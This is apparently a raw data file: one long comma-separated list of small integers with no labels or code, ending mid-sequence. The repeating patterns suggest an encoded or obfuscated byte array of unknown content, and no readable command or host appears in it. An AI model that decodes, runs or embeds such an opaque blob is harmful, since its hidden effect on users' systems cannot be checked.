16,18,64,1,26,1,19,79,16,84,92,86,98,110,78,73,61,110,87,2,6,0,19,22,85,7,78,9,10,76,70,28,67,13,70,3,10,0,19,17,88,5,83,77,69,0,82,6,81,72,1,24,1,23,90,21,94,1,69,77,6,10,71,82,70,5,77,68,20,105,57,82,16,68,1,24,1,23,90,21,94,1,69,77,6,10,71,82,26,20,85,31,79,89,19,0,85,13,79,25,10,22,67,0,85,16,126,14,14,23,71,78,69,10,82,4,8,10,86,22,16,13,79,25,79,78,13,90,84,5,85,12,70,95,62,120,16,68,1,77,24,12,90,30,85,68,9,71,31,16,65,82,17,89,1,93,70,68,72,127,58,68,1,77,79,68,19,82,16,78,81,25,29,68,14,82,26,20,85,31,79,58,19,4,81,8,26,96,101,68,19,82,16,68,1,77,79,18,82,30,16,89,1,69,25,5,95,82,110,68,9,27,14,8,19,78,12,68,16,68,70,68,109,82,0,28,66,95,94,81,7,64,1,82,26,96,101,68,19,82,16,68,1,77,79,20,71,0,16,79,28,77,94,95,62,120,16,68,1,77,18,105,57,15,61,110,84,3,28,13,84,28,85,0,1,14,7,5,65,82,86,8,64,10,8,1,87,41,109,68,28,77,20,81,31,69,8,72,16,85,89,72,2,68,5,72,19,93,87,72,11,65,28,85,17,90,67,86,0,65,28,85,18,90,67,93,3,94,1,83,18,65,93,86,31,67,1,72,20,88,67,82,7,94,1,84,19,65,94,86,3,94,9,82,13,92,89,80,31,74,6,72,25,91,67,80,3,94,5,87,13,89,87,72,7,68,28,86,21,93,67,85,10,67,28,83,24,65,94,82,0,94,1,80,22,65,87,83,31,67,4,80,13,92,92,72,6,70,28,80,22,65,94,84,6,94,2,84,20,65,93,81,2,94,1,82,18,65,94,82,11,94,2,86,17,65,93,80,2,94,4,81,13,95,95,87,31,67,0,81,13,85,92,72,2,69,6,72,22,92,67,85,2,67,28,82,19,65,88,84,31,64,2,85,13,84,92,72,2,68,28,86,16,85,67,80,7,94,9,82,13,92,87,93,31,67,8,83,13,92,88,87,31,67,6,81,13,85,91,72,1,69,28,85,22,93,67,83,5,94,7,83,13,95,95,80,31,65,7,72,16,84,86,72,11,70,28,86,17,94,67,87,0,94,2,81,18,65,92,86,31,67,9,72,19,93,89,72,0,74,28,86,24,65,86,93,31,67,6,84,13,91,86,72,11,67,28,85,20,90,67,85,6,69,28,85,19,89,67,85,1,68,28,82,25,65,94,80,2,94,9,83,13,92,87,84,31,67,3,92,13,92,89,72,1,64,0,72,19,95,94,72,1,66,1,72,16,84,89,72,4,68,28,87,19,65,88,80,31,67,3,83,13,92,92,84,31,64,3,85,13,92,95,72,2,71,7,72,16,89,86,72,2,68,3,72,16,89,91,72,1,71,4,72,23,93,67,82,2,94,2,85,21,65,94,81,7,94,6,84,13,88,95,72,11,67,28,80,20,65,94,92,31,74,4,72,16,91,89,72,2,68,7,72,18,90,67,85,4,66,28,86,18,89,67,86,3,68,28,85,25,89,67,84,31,67,3,87,13,92,95,72,2,66,2,72,21,91,67,85,10,64,28,86,18,89,67,85,0,66,28,83,13,92,95,83,31,64,5,85,13,92,90,92,31,67,1,83,13,92,88,85,31,67,0,72,24,85,67,92,11,94,1,84,24,65,87,85,31,68,0,72,16,93,87,72,2,69,2,72,19,89,67,92,4,94,6,87,13,92,93,81,31,68,28,87,16,65,93,80,5,94,1,80,18,65,88,83,31,67,7,93,13,92,89,86,31,67,0,83,13,92,87,85,31,67,0,86,13,92,95,84,31,67,0,80,13,89,93,72,2,65,0,72,19,94,88,72,2,68,9,72,16,94,94,72,2,71,8,72,16,85,95,72,6,64,28,85,18,88,67,81,10,94,1,82,13,92,89,81,31,74,2,72,16,93,87,72,2,67,9,72,19,92,67,85,7,70,28,85,16,94,67,86,4,94,2,85,24,65,94,84,2,94,2,84,13,92,89,83,31,67,6,80,13,92,89,82,31,64,5,80,13,91,90,72,1,68,28,86,19,88,67,85,6,94,7,82,13,95,94,82,31,65,8,72,19,92,91,72,2,67,28,86,18,84,67,85,4,94,2,84,25,65,94,84,31,67,9,72,19,93,89,72,0,74,28,86,24,65,86,82,31,64,0,92,13,91,95,72,0,69,28,86,21,88,67,86,7,64,28,85,25,65,94,84,10,94,7,80,13,92,91,93,31,75,6,72,16,85,94,72,2,65,9,72,23,92,67,86,7,68,28,86,19,92,67,86,3,67,28,85,24,91,67,83,5,94,1,84,17,65,94,81,31,64,0,83,13,92,92,84,31,67,9,84,13,90,93,72,1,71,4,72,19,88,95,72,1,70,1,72,16,88,93,72,1,70,7,72,18,85,67,85,5,94,2,81,19,65,94,81,7,94,6,84,13,88,95,72,11,67,28,80,20,65,94,92,31,74,4,72,16,91,89,72,1,70,5,72,24,91,67,86,6,70,28,85,24,92,67,85,6,68,28,86,21,91,67,84,31,67,4,93,13,94,86,72,4,68,28,87,13,95,92,80,31,64,3,80,13,92,92,84,31,69,28,80,20,65,93,80,0,94,1,83,20,65,88,87,31,67,6,83,13,92,67,93,10,94,1,93,13,89,89,72,0,94,6,83,13,92,94,84,31,67,8,85,13,95,90,72,10,64,28,87,18,65,91,86,31,71,6,72,20,93,67,86,7,64,28,85,18,92,67,83,3,94,1,82,18,65,94,80,4,94,6,80,13,92,91,92,31,75,7,72,22,85,67,85,3,70,28,80,19,65,94,87,3,94,1,83,21,65,93,87,4,94,2,81,19,65,93,84,11,94,2,80,16,65,86,93,31,67,3,81,13,94,87,72,2,68,28,86,21,92,67,85,2,94,6,84,13,88,95,72,4,66,28,85,20,85,67,85,11,94,8,80,13,92,90,93,31,65,2,72,24,91,67,86,6,70,28,86,21,89,67,86,1,69,28,86,21,91,67,84,31,69,2,72,19,94,93,72,3,94,7,82,13,95,95,82,31,70,1,72,19,93,89,72,11,70,28,86,17,91,67,86,1,94,2,81,17,65,94,84,31,67,9,72,19,93,89,72,0,74,28,86,24,65,86,82,31,64,0,92,13,91,95,72,0,69,28,86,21,88,67,86,7,64,28,85,25,65,94,84,10,94,7,80,13,92,91,93,31,75,6,72,16,85,94,72,2,65,9,72,23,92,67,86,7,68,28,86,19,92,67,86,3,67,28,85,24,91,67,83,5,94,1,84,17,65,94,81,31,64,0,83,13,92,92,84,31,67,7,80,13,85,90,72,2,75,5,72,16,84,91,72,1,64,9,72,16,89,87,72,1,67,8,72,16,95,67,85,5,94,2,81,19,65,94,81,7,94,6,84,13,88,95,72,11,67,28,80,20,65,94,92,31,74,4,72,16,91,89,72,1,70,5,72,24,91,67,86,6,70,28,85,24,92,67,85,6,68,28,86,21,91,67,84,31,67,4,93,13,94,86,72,4,68,28,87,13,95,92,80,31,64,3,80,13,92,92,84,31,69,28,85,17,90,67,85,11,75,28,86,17,85,67,85,3,94,1,83,21,65,94,85,31,74,9,72,24,89,67,87,7,94,8,72,16,95,94,72,7,65,28,85,23,92,67,86,6,94,1,84,24,65,91,87,31,68,3,72,20,91,67,87,10,94,2,87,17,65,93,84,7,94,3,82,13,95,93,84,31,64,2,85,13,95,95,72,2,71,2,72,22,91,67,85,3,66,28,85,17,89,67,80,1,94,1,87,17,65,94,83,7,94,2,87,22,65,93,81,1,94,2,84,25,65,93,80,2,94,9,93,13,92,92,81,31,65,8,72,16,91,67,86,7,67,28,85,16,65,89,84,31,71,0,72,22,93,67,85,6,74,28,85,25,65,87,80,31,67,5,93,13,94,93,72,10,68,28,86,20,89,67,85,11,65,28,85,22,95,67,85,4,74,28,82,24,65,89,92,31,67,3,93,13,92,95,86,31,65,28,85,21,92,67,85,3,70,28,85,18,93,67,83,31,67,9,80,13,88,86,72,1,66,8,72,16,93,67,85,10,94,2,84,23,65,92,92,31,64,9,72,24,91,67,86,3,74,28,82,17,65,92,83,31,64,4,81,13,95,91,86,31,67,8,72,16,93,86,72,4,70,28,85,21,84,67,93,5,94,1,92,16,65,94,87,10,94,6,85,13,95,91,82,31,64,2,85,13,92,92,92,31,67,3,93,13,95,67,81,6,94,9,85,13,92,90,82,31,67,4,86,13,92,92,85,31,67,1,84,13,95,94,85,31,64,0,92,13,95,91,85,31,67,5,86,13,95,91,83,31,65,8,72,16,91,67,86,6,64,28,85,20,89,67,82,3,94,5,84,13,85,94,72,7,71,28,85,25,65,87,80,31,67,6,82,13,95,91,81,31,75,6,72,19,88,91,72,2,75,1,72,16,88,89,72,1,70,6,72,17,65,94,80,10,94,3,93,13,90,89,72,0,94,2,87,21,65,93,87,7,94,2,84,21,65,88,84,31,65,8,72,19,89,87,72,2,65,1,72,23,65,94,93,4,94,1,85,16,65,92,92,31,64,9,72,16,93,86,72,4,68,28,82,17,65,92,83,31,64,2,82,13,85,89,72,2,74,28,85,17,84,67,85,2,71,28,85,19,92,67,93,5,94,1,92,16,65,94,93,1,94,9,72,19,89,89,72,1,64,1,72,19,93,67,85,6,64,28,83,23,65,94,84,3,94,1,84,21,65,91,86,31,67,3,84,13,92,88,80,31,64,3,83,13,95,90,86,31,64,0,92,13,92,89,81,31,71,4,72,19,92,90,72,2,66,6,72,25,88,67,86,7,75,28,85,16,95,67,82,1,94,1,84,17,65,89,83,31,64,1,92,13,92,89,72,11,70,28,86,16,90,67,85,2,67,28,81,17,65,93,81,7,94,1,92,24,65,93,86,4,94,1,93,16,65,88,92,31,69,2,72,19,89,91,72,2,65,28,83,22,65,93,84,1,94,4,81,13,92,92,92,31,69,3,72,16,89,93,72,2,67,6,72,16,89,88,72,4,71,28,93,20,65,94,81,4,94,4,83,13,84,89,72,2,66,5,72,19,95,95,72,2,69,28,85,20,65,93,80,6,94,2,80,19,65,94,92,31,67,0,93,13,90,91,72,2,70,9,72,24,91,67,85,11,67,28,85,18,84,67,82,2,94,2,80,23,65,93,86,2,94,2,84,16,65,94,93,5,94,7,82,13,92,95,84,31,67,5,72,19,93,88,72,2,65,0,72,16,90,91,72,5,74,28,86,16,92,67,86,3,74,28,86,21,92,67,85,6,64,28,86,21,90,67,87,11,94,1,82,13,95,90,86,31,64,2,84,13,92,94,80,31,69,7,72,16,85,67,93,11,94,8,82,13,92,88,72,2,68,8,72,16,85,93,72,7,69,28,85,19,84,67,86,7,75,28,86,16,94,67,85,11,68,28,82,24,65,93,85,10,94,1,84,19,65,94,72,4,66,28,86,18,93,67,85,10,75,28,85,23,85,67,83,31,67,0,83,13,92,87,93,31,64,0,92,13,92,95,72,1,65,2,72,23,84,67,87,11,94,2,93,13,92,95,93,31,69,6,72,23,93,67,87,4,94,2,86,23,65,87,82,31,67,8,72,16,93,86,72,2,67,5,72,16,95,94,72,10,68,28,85,25,92,67,85,10,64,28,93,13,95,91,82,31,64,2,85,13,95,95,72,2,71,2,72,22,91,67,85,3,66,28,80,23,65,94,84,3,94,2,81,18,65,93,87,4,94,1,82,19,65,94,92,7,94,1,80,24,65,93,81,6,94,3,86,13,95,95,84,31,74,9,72,24,89,67,85,4,68,28,83,17,65,94,86,2,94,6,86,13,92,95,83,31,67,8,84,13,92,87,72,11,70,28,85,20,84,67,87,1,94,9,82,13,95,90,80,31,64,4,80,13,95,93,83,31,64,4,82,13,93,67,83,1,94,1,82,23,65,88,82,31,65,28,85,21,92,67,85,3,70,28,85,18,93,67,83,31,67,9,80,13,88,86,72,1,66,8,72,16,93,67,85,10,94,2,84,23,65,92,92,31,64,9,72,24,91,67,86,3,74,28,82,17,65,86,93,31,67,8,83,13,92,91,85,31,74,1,72,18,89,67,85,7,94,2,84,25,65,94,85,3,94,2,80,23,65,94,93,5,94,6,82,13,92,88,82,31,67,4,92,13,92,90,81,31,67,5,85,13,95,91,72,7,66,28,83,17,65,94,86,10,94,1,93,24,65,93,86,7,94,1,85,13,95,93,87,31,64,5,87,13,95,94,93,31,67,5,86,13,95,91,83,31,65,8,72,16,91,67,86,6,64,28,85,20,89,67,82,3,94,5,84,13,85,94,72,7,71,28,85,25,65,87,80,31,67,6,82,13,95,91,81,31,75,6,72,19,88,91,72,2,75,1,72,16,88,89,72,1,70,6,72,17,65,94,80,10,94,3,93,13,90,89,72,0,94,2,87,21,65,93,87,7,94,1,87,17,65,88,72,2,66,7,72,19,88,94,72,2,71,8,72,16,92,88,72,2,69,1,72,16,93,67,93,11,94,8,92,13,84,86,72,2,71,28,85,16,88,67,93,3,94,1,83,21,65,93,80,31,75,3,72,20,90,67,81,3,94,5,93,13,92,95,92,31,67,5,86,13,95,92,80,31,75,28,86,21,91,67,86,1,67,28,86,17,65,94,81,1,94,7,82,13,92,95,84,31,67,0,80,13,89,93,72,2,65,0,72,16,90,91,72,1,65,7,72,19,88,93,72,1,66,8,72,19,89,94,72,10,75,28,85,18,88,67,87,11,94,1,82,13,95,91,85,31,67,1,72,23,93,67,81,3,94,7,84,13,92,90,92,31,67,8,72,25,89,67,85,6,75,28,87,19,65,92,92,31,67,7,82,13,92,92,93,31,67,6,84,13,92,87,81,31,68,8,72,16,94,67,85,5,74,28,85,20,65,88,82,31,64,4,86,13,89,89,72,1,66,8,72,23,91,67,85,0,71,28,85,17,84,67,85,7,71,28,92,25,65,89,80,31,67,9,80,13,92,94,72,6,71,28,93,23,65,93,84,11,94,6,84,13,94,88,72,1,70,5,72,19,89,93,72,2,74,28,85,17,84,67,83,7,94,1,80,24,65,86,82,31,67,8,85,13,92,92,93,31,68,1,72,19,89,89,72,1,64,1,72,19,93,94,72,2,75,6,72,22,91,67,85,3,66,28,85,20,65,93,84,4,94,1,87,17,65,94,83,7,94,6,92,13,95,94,85,31,64,0,92,13,95,91,85,31,67,5,86,13,92,88,83,31,67,0,80,13,92,94,85,31,67,9,85,13,95,94,87,31,67,2,84,13,92,94,93,31,75,5,72,16,92,95,72,10,65,28,80,18,65,93,86,10,94,1,83,23,65,91,80,31,67,7,92,13,95,92,87,31,64,2,85,13,92,89,80,31,74,3,72,16,88,89,72,2,66,28,85,17,95,67,87,31,64,3,80,13,95,92,80,31,67,3,84,13,90,87,72,0,69,28,86,21,94,67,85,7,75,28,92,25,65,93,87,3,94,5,92,13,85,86,72,10,70,28,87,21,65,87,72,2,64,1,72,24,93,67,85,6,69,28,92,23,65,94,81,31,67,0,93,13,89,87,72,5,67,28,87,16,65,93,81,2,94,1,87,18,65,86,80,31,64,1,93,13,95,91,83,31,64,0,72,16,88,93,72,4,68,28,85,17,93,67,81,11,94,1,85,16,65,93,85,7,94,2,81,16,65,94,93,2,94,1,83,25,65,93,84,11,94,1,92,21,65,91,81,31,64,0,85,13,84,86,72,5,68,28,86,19,93,67,87,0,94,1,83,13,95,91,72,3,94,1,80,18,65,94,92,31,69,3,72,16,88,86,72,2,66,0,72,18,90,67,85,11,70,28,85,25,84,67,85,4,65,28,85,22,84,67,85,1,69,28,85,21,65,93,80,0,94,2,72,23,89,67,85,0,65,28,85,19,95,67,85,7,64,28,86,16,65,93,84,5,94,1,86,16,65,93,85,6,94,8,82,13,92,94,85,31,67,5,84,13,88,91,72,2,65,28,82,17,65,94,83,1,94,1,84,17,65,90,87,31,64,2,92,13,92,87,81,31,67,1,84,13,88,92,72,10,66,28,85,18,88,67,85,10,94,2,84,16,65,93,85,2,94,4,81,13,95,92,84,31,64,1,92,13,92,86,83,31,67,9,82,13,91,87,72,2,66,28,82,21,65,94,86,10,94,1,93,24,65,94,82,1,94,7,83,13,95,93,87,31,64,0,92,13,95,91,93,31,67,4,81,13,95,90,80,31,67,1,72,20,85,67,85,11,68,28,85,18,91,67,82,3,94,4,83,13,85,94,72,2,66,5,72,25,90,67,85,11,94,2,87,24,65,94,92,4,94,3,83,13,92,93,93,31,64,4,93,13,95,95,85,31,67,8,80,13,91,88,72,2,71,7,72,20,89,67,82,7,94,1,92,13,95,92,84,31,67,6,92,13,92,92,87,31,74,3,72,19,94,67,86,1,75,28,85,24,95,67,86,5,94,1,92,17,65,90,83,31,67,2,82,13,92,92,72,2,64,5,72,21,85,67,85,3,66,28,82,16,65,93,80,2,94,4,86,13,90,91,72,2,64,5,72,24,85,67,85,3,94,2,92,13,95,92,83,31,64,0,92,13,95,90,72,1,70,1,72,19,93,86,72,1,66,28,85,21,89,67,87,7,94,4,87,13,94,87,72,2,67,1,72,16,89,93,72,2,68,7,72,19,95,90,72,1,71,2,72,19,92,89,72,1,70,6,72,21,89,67,86,2,65,28,93,25,65,93,87,31,64,5,87,13,95,67,81,0,94,3,85,13,92,95,92,31,64,1,82,13,92,67,92,7,94,1,87,17,65,92,86,31,65,6,72,16,85,88,72,2,69,8,72,16,90,95,72,2,74,4,72,23,84,67,81,6,94,2,86,21,65,93,81,31,69,7,72,19,93,89,72,10,68,28,85,21,91,67,85,2,94,2,85,17,65,90,81,31,67,4,82,13,92,92,72,4,67,28,85,22,85,67,85,1,68,28,85,18,65,94,85,1,94,1,80,25,65,89,80,31,67,2,81,13,95,93,93,31,64,2,83,13,92,94,84,31,71,3,72,25,95,67,85,0,70,28,86,25,65,93,87,4,94,1,81,20,65,91,80,31,67,3,87,13,92,89,85,31,67,4,81,13,95,94,86,31,75,2,72,24,84,67,87,31,64,0,83,13,92,92,92,31,67,9,86,13,92,94,72,2,71,7,72,16,89,86,72,1,71,3,72,16,88,93,72,1,70,7,72,18,94,67,85,2,75,28,85,25,92,67,86,3,70,28,85,19,92,67,81,3,94,2,92,13,92,95,80,31,67,8,72,16,85,67,86,0,70,28,85,25,93,67,87,10,94,2,86,25,65,94,93,2,94,1,81,20,65,93,81,6,94,1,86,13,92,91,93,31,70,7,72,22,88,67,83,7,94,1,82,21,65,94,92,5,94,2,85,20,65,87,87,31,67,0,92,13,92,88,83,31,64,1,83,13,94,67,85,10,69,28,85,16,92,67,93,5,94,9,72,16,93,86,72,11,67,28,82,17,65,86,83,31,67,6,83,13,92,89,72,10,67,28,87,20,65,90,80,31,68,28,87,25,65,93,86,7,94,1,80,19,65,88,80,31,64,5,80,13,95,95,80,31,64,4,72,16,88,93,72,10,71,28,85,17,89,67,85,3,70,28,85,17,89,67,85,0,65,28,86,18,89,67,85,7,71,28,85,23,89,67,85,10,64,28,86,19,89,67,87,10,94,2,81,16,65,94,86,5,94,0,72,19,95,88,72,4,75,28,82,21,65,94,84,5,94,8,82,13,92,91,85,31,74,6,72,21,93,67,85,10,75,28,80,25,65,94,85,5,94,1,92,23,65,94,87,5,94,1,92,22,65,93,87,3,94,2,85,13,92,93,72,1,67,8,72,19,93,67,85,10,94,1,81,23,65,91,80,31,64,5,80,13,84,90,72,1,67,0,72,21,88,67,85,7,74,28,85,16,85,67,83,6,94,2,86,19,65,91,93,31,74,9,72,19,85,67,85,0,68,28,80,21,65,89,85,31,67,7,83,13,92,91,86,31,69,0,72,21,92,67,81,7,94,2,84,20,65,94,85,1,94,1,82,23,65,93,84,4,94,6,81,13,92,87,80,31,67,5,87,13,92,87,85,31,67,5,82,13,84,93,72,0,74,28,83,20,65,94,83,10,94,2,85,25,65,94,93,3,94,7,72,16,88,94,72,2,69,2,72,16,91,92,72,1,64,0,72,16,94,86,72,2,64,6,72,17,65,93,86,11,94,2,86,19,65,89,80,31,67,0,82,13,91,90,72,2,67,0,72,25,91,67,80,3,94,2,81,21,65,93,86,10,94,3,83,13,92,87,82,31,67,9,81,13,92,86,82,31,64,3,84,13,91,88,72,1,66,9,72,24,92,67,86,3,94,1,93,13,92,88,86,31,67,7,80,13,95,90,80,31,75,5,72,16,95,92,72,1,70,8,72,16,89,87,72,2,67,8,72,16,90,89,72,11,70,28,81,21,65,87,93,31,67,7,72,19,93,67,80,6,94,5,86,13,92,89,82,31,70,2,72,22,93,67,80,2,94,1,81,13,94,92,72,2,67,3,72,16,91,88,72,2,65,2,72,16,92,88,72,2,69,4,72,19,93,90,72,4,94,2,86,17,65,91,92,31,68,0,72,16,95,94,72,6,74,28,85,24,85,67,86,2,66,28,85,25,92,67,86,0,68,28,85,24,88,67,85,11,67,28,87,16,65,93,86,0,94,5,80,13,85,90,72,2,74,1,72,16,92,86,72,2,66,0,72,18,88,67,92,6,94,2,85,25,65,94,85,3,94,1,86,13,92,91,87,31,75,8,72,18,91,67,85,0,66,28,85,25,91,67,85,5,69,28,85,18,85,67,92,11,94,8,93,13,92,88,92,31,74,28,85,19,90,67,86,2,65,28,85,19,93,67,85,6,70,28,82,22,65,94,93,3,94,9,93,13,92,86,87,31,64,5,72,25,90,67,85,4,74,28,85,19,91,67,85,0,94,1,85,18,65,94,80,11,94,6,80,13,92,93,81,31,64,2,93,13,95,93,83,31,74,6,72,16,90,67,80,31,64,0,93,13,95,87,72,1,64,5,72,19,93,88,72,5,71,28,85,22,89,67,86,3,71,28,86,16,91,67,85,1,74,28,80,25,65,89,84,31,65,0,72,19,95,94,72,2,75,8,72,19,92,95,72,1,74,28,85,24,88,67,85,7,68,28,85,25,92,67,86,1,74,28,85,22,88,67,81,6,94,0,72,16,85,91,72,1,65,0,72,16,93,95,72,0,70,28,86,18,65,94,84,6,94,1,85,17,65,94,86,31,67,8,87,13,95,93,81,31,65,6,72,16,94,95,72,1,65,1,72,16,89,95,72,1,64,9,72,23,85,67,86,0,65,28,85,19,90,67,93,1,94,6,81,13,92,88,80,31,67,5,84,13,95,94,92,31,64,2,72,16,95,89,72,1,70,9,72,16,90,93,72,11,64,28,86,21,84,67,92,0,94,9,83,13,92,93,72,7,74,28,80,25,65,94,84,3,94,5,87,13,95,91,87,31,64,28,85,16,93,67,81,0,94,9,93,13,92,95,81,31,68,0,72,19,93,94,72,2,71,2,72,19,88,67,86,0,66,28,85,23,92,67,83,5,94,1,86,25,65,86,81,31,64,4,72,21,85,67,81,11,94,1,80,22,65,93,81,3,94,1,80,20,65,94,82,7,94,1,93,19,65,93,86,6,94,6,87,13,95,90,85,31,67,2,82,13,93,67,86,1,70,28,85,16,84,67,85,3,66,28,80,19,65,87,81,31,64,2,82,13,90,91,72,5,74,28,85,21,95,67,85,3,69,28,86,25,65,94,82,5,94,2,86,25,65,93,80,3,94,1,82,21,65,94,86,7,94,1,82,13,92,86,84,31,75,4,72,25,90,67,86,7,67,28,80,25,65,94,80,5,94,2,86,13,92,92,80,31,69,1,72,16,94,89,72,1,69,28,80,13,92,88,92,31,67,2,82,13,88,67,85,2,71,28,85,22,95,67,85,3,66,28,81,18,65,93,86,11,94,1,80,19,65,88,80,31,67,2,81,13,84,94,72,1,65,3,72,20,91,67,85,5,71,28,85,20,88,67,85,1,67,28,85,18,85,67,85,0,65,28,86,16,91,67,86,1,66,28,82,18,65,93,80,31,74,7,72,19,95,92,72,2,70,6,72,19,88,95,72,6,68,28,85,18,84,67,85,10,64,28,86,19,90,67,85,10,68,28,85,18,84,67,85,1,68,28,84,13,95,92,82,31,67,9,92,13,91,91,72,2,66,6,72,23,88,67,82,3,94,1,85,17,65,94,86,31,67,9,84,13,95,92,84,31,64,8,72,16,91,89,72,2,69,5,72,16,89,93,72,2,70,6,72,16,95,91,72,1,66,5,72,20,88,67,93,1,94,1,86,23,65,93,87,11,94,1,92,18,65,93,81,7,94,9,81,13,92,93,87,31,67,7,81,13,92,92,86,31,67,1,92,13,92,88,82,31,74,5,72,20,94,67,82,6,94,1,83,13,95,95,72,7,70,28,81,20,65,94,82,5,94,4,86,13,90,91,72,2,64,4,72,16,93,89,72,6,94,5,82,13,92,89,80,31,64,1,83,13,92,94,83,31,67,7,80,13,95,95,81,31,70,28,86,17,89,67,80,11,94,6,84,13,92,93,84,31,68,2,72,19,95,93,72,1,67,0,72,16,85,94,72,1,65,6,72,16,84,91,72,2,74,1,72,18,92,67,86,1,65,28,81,20,65,87,85,31,67,4,85,13,85,92,72,7,71,28,80,18,65,90,92,31,67,9,92,13,95,67,82,11,94,2,86,22,65,94,86,3,94,1,86,17,65,93,87,4,94,1,87,23,65,94,92,4,94,2,87,17,65,94,83,31,71,2,72,19,88,91,72,11,70,28,85,23,65,93,80,2,94,4,92,13,92,91,82,31,64,1,72,16,94,91,72,4,67,28,85,18,91,67,86,4,94,1,85,13,92,92,87,31,75,0,72,23,84,67,85,2,64,28,85,24,89,67,85,2,66,28,92,24,65,94,83,0,94,2,87,21,65,87,85,31,67,7,72,16,85,67,85,0,65,28,85,16,94,67,86,3,67,28,86,16,92,67,80,6,94,2,87,17,65,94,81,0,94,1,92,16,65,94,81,5,94,9,87,13,92,93,80,31,67,2,80,13,92,88,93,31,64,1,92,13,92,86,84,31,74,4,72,16,94,95,72,2,69,2,72,16,91,86,72,2,64,8,72,16,85,95,72,10,74,28,85,17,85,67,85,5,70,28,85,18,84,67,85,1,68,28,82,20,65,91,81,31,67,1,83,13,95,67,82,11,94,1,82,16,65,93,80,10,94,7,83,13,95,94,86,31,67,9,85,13,92,90,82,31,64,4,82,13,93,67,85,7,75,28,87,24,65,88,82,31,65,28,86,18,89,67,86,0,70,28,85,18,93,67,83,31,67,0,83,13,92,87,93,31,64,0,92,13,92,95,72,1,65,2,72,22,90,67,83,1,94,8,86,13,94,90,72,10,94,4,92,13,94,88,72,1,71,1,72,22,84,67,87,3,94,1,84,24,65,86,92,31,67,0,83,13,92,94,87,31,67,8,81,13,92,86,86,31,67,6,72,19,94,87,72,1,66,9,72,19,93,67,85,0,69,28,93,18,65,94,85,1,94,1,84,17,65,91,86,31,67,4,83,13,92,86,84,31,64,4,92,13,95,91,84,31,64,0,92,13,95,93,80,31,67,1,80,13,92,91,82,31,70,2,72,16,91,67,86,1,70,28,86,20,65,91,83,31,68,2,72,22,93,67,85,0,75,28,84,13,85,87,72,2,71,9,72,20,90,67,85,2,75,28,86,21,95,67,86,7,70,28,86,21,95,67,86,0,66,28,85,23,65,89,92,31,67,6,82,13,85,86,72,2,74,28,85,19,84,67,85,3,70,28,85,21,90,67,86,0,94,2,85,16,65,90,81,31,64,0,92,13,94,94,72,5,94,1,93,21,65,92,92,31,74,28,85,16,84,67,86,1,66,28,82,17,65,91,92,31,64,3,84,13,95,90,80,31,67,8,72,16,95,95,72,10,70,28,85,20,94,67,93,5,94,1,82,16,65,94,80,4,94,4,93,13,95,91,82,31,64,0,85,13,95,95,92,31,64,0,84,13,90,89,72,2,67,3,72,18,92,67,85,10,71,28,85,18,93,67,85,11,69,28,92,19,65,93,86,0,94,2,84,25,65,93,86,7,94,1,87,23,65,93,86,10,94,4,86,13,92,89,72,1,65,7,72,16,94,89,72,7,67,28,82,19,65,87,85,31,70,2,72,16,95,89,72,2,69,28,86,18,95,67,85,4,74,28,81,19,65,94,92,1,94,1,93,16,65,93,84,10,94,1,93,16,65,87,87,31,64,1,82,13,92,95,86,31,64,4,72,23,89,67,85,5,64,28,86,18,88,67,85,0,65,28,85,16,65,94,84,4,94,2,85,24,65,94,80,6,94,7,84,13,92,87,83,31,66,28,80,19,65,93,93,31,67,2,80,13,91,91,72,5,66,28,81,18,65,93,87,11,94,8,82,13,92,95,86,31,68,3,72,18,85,67,82,3,94,1,84,20,65,94,92,6,94,2,87,22,65,92,81,31,64,4,82,13,95,93,85,31,64,0,72,16,88,93,72,4,68,28,85,17,93,67,85,3,70,28,80,19,65,94,87,3,94,1,83,21,65,93,87,4,94,2,81,19,65,93,84,11,94,2,80,16,65,86,93,31,67,3,81,13,94,87,72,1,70,28,86,21,91,67,83,2,94,1,86,16,65,94,86,7,94,6,81,13,92,91,82,31,67,8,72,25,94,67,86,3,69,28,85,16,89,67,80,2,94,1,83,23,65,94,82,3,94,2,86,25,65,93,81,3,94,0,72,22,84,67,86,6,64,28,81,13,85,92,72,2,65,8,72,16,93,95,72,2,65,0,72,17,65,94,87,1,94,4,86,13,95,94,81,31,68,28,85,24,65,93,84,2,94,9,82,13,92,90,72,2,66,3,72,19,92,88,72,6,65,28,92,13,95,93,87,31,67,8,84,13,90,67,85,3,75,28,92,22,65,94,80,10,94,3,82,13,95,91,84,31,64,0,81,13,92,94,82,31,67,8,80,13,92,90,86,31,67,8,86,13,92,92,84,31,64,5,72,21,95,67,83,5,94,1,93,24,65,94,80,5,94,1,82,19,65,89,92,31,67,9,80,13,95,93,84,31,67,7,93,13,92,90,93,31,67,6,87,13,84,95,72,4,64,28,86,18,91,67,85,0,74,28,82,21,65,94,84,5,94,7,87,13,91,93,72,2,67,0,72,16,95,67,85,11,64,28,86,19,84,67,82,2,94,1,87,17,65,93,87,2,94,1,80,17,65,93,87,3,94,8,80,13,95,92,87,31,67,2,83,13,84,93,72,2,74,28,85,25,95,67,85,6,66,28,86,16,85,67,86,0,94,1,86,18,65,94,93,0,94,1,87,23,65,94,92,31,64,5,85,13,88,88,72,2,64,6,72,16,94,67,85,1,70,28,92,13,91,91,72,2,64,5,72,19,89,93,72,4,67,28,92,24,65,94,83,31,70,3,72,16,93,90,72,2,64,0,72,19,94,94,72,2,74,8,72,25,92,67,86,0,67,28,85,20,85,67,82,7,94,2,86,25,65,93,84,31,67,1,82,13,92,93,86,31,67,1,84,13,95,90,80,31,64,4,82,13,95,90,87,31,64,3,92,13,92,88,86,31,67,6,93,13,92,93,87,31,67,4,92,13,84,95,72,4,64,28,86,19,88,67,86,5,94,6,80,13,92,95,82,31,74,6,72,16,89,92,72,2,67,0,72,16,95,67,85,7,65,28,80,25,65,91,82,31,67,3,84,13,92,88,86,31,64,4,87,13,95,92,92,31,74,4,72,20,95,67,86,6,70,28,93,19,65,94,83,31,64,0,85,13,95,95,72,1,67,8,72,19,94,67,86,3,75,28,83,16,65,94,87,5,94,1,92,13,93,67,85,4,74,28,85,19,91,67,85,0,94,1,85,18,65,94,83,1,94,1,84,17,65,90,87,31,64,2,92,13,92,91,86,31,69,4,72,16,95,90,72,10,66,28,86,17,84,67,86,11,94,2,87,22,65,94,81,6,94,4,81,13,92,92,87,31,67,6,85,13,92,91,81,31,64,1,86,13,84,93,72,10,75,28,87,13,92,86,93,31,64,3,82,13,95,93,81,31,67,0,72,16,88,95,72,1,64,0,72,19,89,94,72,1,71,4,72,16,85,93,72,2,66,6,72,23,90,67,85,11,71,28,85,20,93,67,82,3,94,5,87,13,91,92,72,10,74,28,82,23,65,94,83,31,67,6,83,13,95,91,86,31,67,0,92,13,95,